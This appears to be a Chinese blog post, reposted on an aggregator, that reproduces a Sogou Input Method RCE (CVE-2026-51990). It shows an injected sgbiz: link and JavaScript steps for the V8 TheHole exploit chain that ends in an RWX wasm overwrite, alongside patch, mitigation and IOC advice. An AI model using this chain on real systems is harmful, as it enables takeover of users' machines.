【漏洞复现】CVE-2026-51990|搜狗输入法Windows版远程代码执行漏洞"

admin 2026-10-16 06:34:32 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

【漏洞复现】CVE-2026-51990 | 搜狗输入法Windows版远程代码执行漏洞

原创

devildollking
devildollking

熔城Sec

2026年9月30日 09:30
辽宁

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

免责声明

该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。公众号现在只对常读和星标的公众号才展示大图推送,建议把公众号设为星标,否则可能就看不到啦!感谢各位师傅。

漏洞描述

搜狗输入法(Windows 版,腾讯)存在一个一键远程代码执行漏洞(CVE-2026-51990)。攻击者构造一条恶意 sgbiz: 协议链接,受害者只需点击一次,就能让搜狗输入法内置的浏览器加载攻击者页面并执行任意代码,最终以当前用户权限拿下主机。

漏洞概况

项目 概况说明
CVE CVE-2026-51990(关联微步情报 XVE-2026-62927)
组件 搜狗输入法 Windows 版(搜狗拼音;搜狗五笔不受影响)
影响版本 < 16.3.0.3498
修复版本 16.3.0.3498 (2026-04 起自动推送)
漏洞本质 自定义协议 sgbiz: 参数注入 → 内嵌浏览器任意导航 → 旧版 Chromium 引擎漏洞 → RCE
利用条件 用户点击一次 sgbiz: 链接
利用链复用 CVE-2021-38003(TheHole,Chrome < 95,V8 侧从未修复)
在野利用 UNC3569 借 noht1ng[.]top 投放 GRAYRABBIT 后门
披露时间线 Gen Threat Labs 2026-09-10;Peru CERT 2026-09-16 通报

攻击链总览

漏洞复现

让搜狗的内嵌浏览器加载外部页面

搜狗输入法在系统里注册了自定义协议 sgbiz:,由 biz_helper.exe 接管。

sgbiz:sg_process?module=sgmyinput.exe&param=-page=skincenter

biz_helper 会解析出 5 个参数:

参数 含义 校验情况
module 要启动的搜狗 exe 名 严格校验 :扫禁止字符 \\ / : * ? \" < > |、限 MAX_PATH、相对安装目录解析、GetFileAttributesW 确认存在且非目录
param 传给该 exe 的命令行参数 仅一次 URL decode,无过滤、无白名单 ← ★缺陷
work_dir 工作目录 未充分校验
start_mode CreateProcessW 或 ShellExecuteW —
start_show 窗口显示状态 —

利用内嵌浏览器历史漏洞-CVE-2021-38003

页面进来了,接下来打的就是搜狗 CEF 内置的浏览器内核:Chromium 80.0.3987.163 / V8 8.0.426。它是 2020 年的版本,而且搜狗把它配成了关闭沙箱(--no-sandbox,外加 --disable-web-security、--allow-file-access-from-files)。

这个内核带着一个 V8 侧从未修复的历史漏洞——CVE-2021-38003(TheHole)。完整利用分四步:

第 1 步:把 TheHole 泄漏到 JS 层。
JSON.stringify() 在序列化类数组对象时走 SerializeArrayLikeSlow(),当增量字符串 builder 溢出时该函数返回异常状态却没有设置 pending_exception,后续异常处理路径取到未初始化值,把 V8 内部哨兵 TheHole 泄漏了出来。

var a = [];  a[20000] = \"A\".repeat(1.5 * 1024 * 1024);   // 32 位下 1.5MB × 10,8MB 会直接 OOMvar b = [];  for (var i = 0; i < 10; i++) b[i] = a;var s = JSON.stringify(b);                                // 触发

判定是否拿到 TheHole,三个条件必须同时成立:

typeof(s[i]) === \"undefined\"   // 不是 undefinedString(s[i]) === \"hole\"        // 但字符串化是 \"hole\"s[i] === s[i]                  // 自反性都不成立

第 2 步:用 TheHole 腐蚀 Map,拿到越界窗口。
把 TheHole 当 key 去操作 Map,触发内部状态机错乱:

var m = new Map();m.set(1, 1);m.set(hole, 1);m.delete(hole);m.delete(hole);     // 删两次m.delete(1);// m.size === -1   ← 不报错、不崩溃的“活着的僵尸”

size 变成 -1 后容量计算全部失真。再次 set 时,溢出写进 length 的值恰好等于这次 set 的 key——也就是说,越界数组的长度由攻击者指定。用 0x3FFFFFFF 这一档,可以拿到一个覆盖约 1GB 进程地址空间的读写窗口:原本需要伪造指针才能读到的地址,变成了窗口里的一个下标。

第 3 步:在窗口里凑出任意读写。
32 位 V8 的对象布局与 64 位完全不同——数组头是 [map][properties][elements][length] 各 4 字节,指针最低位是 tag,真地址 = ptr & ~1。要在目标上量准这些偏移,才能把窗口下标换算成真实地址,做到指哪读哪、指哪写哪。

第 4 步:写 wasm 跳转表,执行载荷。
最后需要一块可执行内存。32 位 V8 里 wasm 实例对象与导出函数紧邻,间距固定(实测 f - wasmInstance = 0xCC,多轮复核恒定);读 wasmInstance + 0x40 就是 jump_table_start——一个页对齐的 RWX 代码页,首字节 E9(jmp rel32)是 wasm 跳转表的典型特征。把 WinExec(\"calc.exe\") 的载荷写进去,再调用一次导出函数,代码就在渲染进程里跑起来了。

复现结果

stub readback=0x371337b8  expect 0x371337b8  -> IN PLACEf() = 322376503   <<< SENTINEL: our stub executed at this entry[A] store-only write: 128 bytes = 16 x 8B slots[B] verify: ALL 16 SLOTS IN PLACE -- payload fully written[C] calling f() again (calc time) ...f() = 0   <<< PAYLOAD RAN AND RETURNED CLEANLY -- calc.exe should be up[=] DONE. calc.exe popped -> CVE-2026-51990 32-bit RCE reproduced.

修复与自查

  • 升级到 16.3.0.3498+

(2026-04 起自动推送)。注意:补丁堵的是 sgbiz: 入口,内置的旧版 Chromium 内核并没有更换,仍是无沙箱状态——真正的根治要等厂商替换内核。
* 自查:托盘右键搜狗图标 → 关于,确认版本号 ≥ 16.3.0.3498。
* 未升级时的兜底:反注册 sgbiz: 协议处理,直接掐断入口(代价是皮肤商店等功能失效);不点击来源不明的 sgbiz: 链接。
* IOC:利用页域名 noht1ng[.]top;biz_helper.exe 异常命令行、SGWebRender.exe 异常出网。

附:复现环境文件(随文提供)

上面那套环境不用自己从零搭——本文用到的两个文件随文提供,在隔离虚拟机里放同一个目录就能跑:

文件 作用
exp_r_template.html 利用页(由服务端动态注入运行序号后下发到 WebView)
server.py 本地 HTTP 服务:下发页面 + 接收日志(权威日志落 webview_log.txt)

用法三步:

:: 1. 起服务(注意需要python环境)
下载的文件夹,解压整体拖入隔离环境,进入文件夹,使用命令
python server.py

:: 2. 触发:在浏览器输入,sgbiz:sg_process?module=sgmyinput.exe&param=-page=skincenter%20-url=http://127.0.0.1:8080/exp_r.html

本文复现的环境:Windows 10 专业版和搜狗输入法16.3.0.3446版本

获取方式:公众号后台回复 CVE-2026-51990 领取打包好的输入法包和poc,安装在win10环境自己测试一下,因为我没有在别的环境测试过,所以我没法保证能百分百成功。

几点交代清楚:

  • 代码里已经写死了这段环境对应的偏移与常量,换版本 / 换位数就跑不通,这是预期行为,不是 bug;
  • 载荷落点固定为本地 calc.exe,没有留任何可改目标的接口,也不含任何网络通信、持久化、后门逻辑;

【漏洞复现】CVE-2026-51990|搜狗输入法Windows版远程代码执行漏洞" 网络安全文章

【漏洞复现】CVE-2026-51990|搜狗输入法Windows版远程代码执行漏洞"

搜狗输入法Windows版存在CVE-2026-51990远程代码执行漏洞,攻击者构造恶意sgbiz:协议链接,用户点击一次即可触发内嵌浏览器加载恶意页面,利用旧版Chromium内核CVE-2021-38003漏洞实现RCE。影响版本低于16.3.0.3498,修复版本已推送。建议立即升级至16.3.0.3498及以上版本,不点击来源不明的sgbiz:链接,并关注IOC域名noht1ng\\[.\\]top。
护网重保期间集权系统安全防护技术内训" 网络安全文章

护网重保期间集权系统安全防护技术内训"

文档为护网重保期间集权系统安全防护技术内训材料,明确集权系统定义与范畴,阐述被突破的严重危害,详述战前备战、战时值守、战后复盘的全流程防护组织实施方案,并通过多个攻防实战案例复盘根因,给出可落地的防护措施与应急处置建议,旨在提升全员重保防护意识与应急处置能力。
评论:0   参与:  0